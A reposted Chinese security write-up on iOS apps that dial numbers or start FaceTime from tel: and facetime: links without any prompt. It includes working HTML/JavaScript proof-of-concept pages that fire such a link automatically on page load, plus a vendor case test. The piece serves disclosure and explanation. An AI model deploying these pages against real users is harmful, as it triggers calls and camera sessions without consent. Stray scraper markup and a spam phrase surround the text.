<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/2886

            0x00 背景


            國外一安全研究者發現該缺陷,在iOS設備上的某些應用里(其測試的Google+、Facebook Messenger、Gmail都成功觸發),當用戶點擊了構造好的鏈接時,會自動撥打電話,或開啟facetime,從而打開前置攝像頭,且無任何提醒。缺陷產生的原因是開發者沒有看清官方開發文檔對于Phone Links和FaceTime Links中這樣的一條說明,“當用戶在本地應用里打開該類型的鏈接時,iOS并不展示提醒窗口",從而導致缺陷的產生。

            0x01 缺陷描述


            查看蘋果官方文檔,對于URL方案的規定大致有如下幾種類型:

            1)Mail Links(發送郵件)

            點擊該類型的鏈接后,會自動調用郵件應用,且mailto URL必須指定一個收件地址。

            網頁鏈接中的字符串格式如下

            <a href="mailto:[email protected]">John Frank</a>
            

            本地應用上的URL字符串格式為

            mailto:[email protected]
            

            當然也可以在字符串中添加主題等內容,比如

            mailto:[email protected][email protected]&subject=Greetings%20from%20Cupertino!&body=Wish%20you%20were%20here!
            

            具體的mailto格式可以查看RFC文檔

            http://www.ietf.org/rfc/rfc2368.txt

            2)Phone Links(撥打電話)

            tel類型的URL是用來開啟iOS設備上撥打電話的應用,并且撥打指定的號碼。當用戶在網頁中點擊了一個該類型的鏈接時,iOS設備會彈出提醒窗口,詢問用戶是否撥打該號碼,若用戶同意則開始撥打電話。但是當用戶在本地應用里打開該類型的鏈接時,iOS并不展示提醒窗口,而是直接撥打指定的電話。當然本地應用可以配置是否顯示提醒。

            比如在網頁中嵌入一個a標簽,內容為

            <a href="tel:10086">fuck it</a>
            

            那么訪問該頁面,點擊fuck it鏈接后自動彈出撥打電話的提醒。如圖1

            2014082711012276720.png

            官方文檔同時給出了本地應用里的url形式,本地應用中URL字符串為tel:1-408-555-5555

            在短信頁面輸入tel://10086點擊后會提示撥打電話,如圖2

            2014082711020263770.png

            同時防止惡意的請求,鏈接里包含* #字符時,系統并不會撥打該號碼。而且iOS上的電話號碼的識別檢測是默認開啟的,如果想讓網頁上包含的數字不被識別為手機號碼,則需要在網頁中加入如下的標簽

            <meta name = "format-detection" content = "telephone=no">
            

            具體的URL方案可以查看如下RFC文檔,

            http://www.ietf.org/rfc/rfc2396.txt http://www.ietf.org/rfc/rfc2806.txt

            3)FaceTime Links(開啟facetime,開啟前置攝像頭)

            FaceTime類型的URL是用來調用FaceTime應用撥打指定的用戶,可以是電話號碼或者是綁定的郵箱地址。當用戶在網頁里點開FaceTime類型的URL時,系統會提示是否撥打;但是當在本地應用里點擊該類型的URL時,iOS直接開啟FaceTime應用撥打電話,而無提醒。本地應用可以配置是否顯示提醒。 網頁中的鏈接格式為

            <a href="facetime:14085551234">Connect using FaceTime</a>
            <a href="facetime:[email protected]">Connect using FaceTime</a>
            

            本地應用中URL字符串為

            facetime:// 14085551234
            facetime:[email protected]
            

            當然防止惡意請求,鏈接里包含* #字符時,系統并不會撥打該號碼。而且iOS7之前的系統,用該協議撥打電話時候,是用的默認普通的撥打電話的應用而不是FaceTime應用

            4)SMS Links(發送短信)

            SMS方案是用來打開短信應用,其URL格式如下sms: 其中指定目標用戶的號碼,可以包含0到9的數組和+-.三個字符,并且URL字符串不能包含任何其他的文本信息

            網頁中的鏈接格式為

            <a href="sms:">Launch Messages App</a>
            <a href="sms:1-408-555-1212">New SMS Message</a>
            

            本地應用中URL字符串為

            sms:1-408-555-1212
            

            5)其他類型的Links

            其他像Map Links(打開地圖)、iTunes Links(打開iTunes)、YouTube Links(打開YouTube)等不一一介紹,是點擊指定的鏈接后打開相應的地圖、iTunes應用等,詳細查看蘋果官方開發文檔。

            由上述的介紹可以看出,其中可以利用的有Phone Links和FaceTime Links。因為其中都有一條這樣的描述,如果鏈接是在本地應用里,則點擊的話會直接調用相關系統應用,而沒有任何提醒。

            即如果在應用里直接輸入tel://xxxx、facetime://xxxx類似的字符,會直接調用相關撥號應用。同樣我們可以在應用里輸入網頁鏈接,然后在網頁內容里嵌入這樣的a標簽鏈接,然后利用js實現加載網頁時自動點擊該a標簽鏈接。

            所以具體的測試代碼如下,將其保存為html文件即可。

            <a id="target" href="facetime:[email protected]">click me</a> 
            <script> 
            var target = document.getElementById("target"); 
            var fakeEvent = document.createEvent("MouseEvents"); 
            fakeEvent.initEvent("click", true, false); 
            target.dispatchEvent(fakeEvent); 
            </script>
            

            或者如下

            <html>
            <head>
                <title>v</title>
            </head>
            <body>
                <a id="dial" href="tel:10086">fuck it</a>
            </body>
            <script type="text/javascript">
            <!--
            window.onload = function()
            {
                window.location.href = document.getElementById("dial").href;
            };
            //-->
            </script>
            </html>
            

            tel:xxxxx表示要撥打的電話,點擊該鏈接后則自動撥打電話;

            facetiem:xxxxx表示撥打的facetime帳號,點擊該鏈接后自動開啟攝像頭,無任何提醒;

            注:其中第二個代碼在某些應用里測試沒有執行成功,第一個代碼在應用里基本能執行成功。

            0x02 案例測試


            測試了國內的幾個常用的聊天類應用,基本都存在該缺陷,已經報告給廠商,修復可能需要一段時間。這里以在烏云上提交的易信為案例(官方將發布新版本)。 測試版本為iOS版本6.1.4、易信V2.9.0.1680

            在朋友圈發布該url,如圖3

            2014082711044861565.png

            好友點擊后自動撥打電話或開啟FaceTime,如圖2、圖3

            2014082711050945066.png

            2014082711052082517.png

            0x03 如何修復


            在蘋果官方開發文檔給出的說明上,在本地應用打開相應的URL是可以配置提醒設置的。所以可能是開發者對蘋果URL的規范未全面了解,疏忽導致了該問題。由于未接觸過iOS開發,所以具體的修復不清楚。:)

            References:

            http://algorithm.dk/posts/rtfm-0day-in-ios-apps-g-gmail-fb-messenger-etc https://developer.apple.com/library/ios/featuredarticles/iPhoneURLScheme_Reference/PhoneLinks/PhoneLinks.html#//apple_ref/doc/uid/TP40007899-CH6-SW1 https://developer.apple.com/library/ios/featuredarticles/iPhoneURLScheme_Reference/PhoneLinks/PhoneLinks.html#//apple_ref/doc/uid/TP40007899-CH6-SW1

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线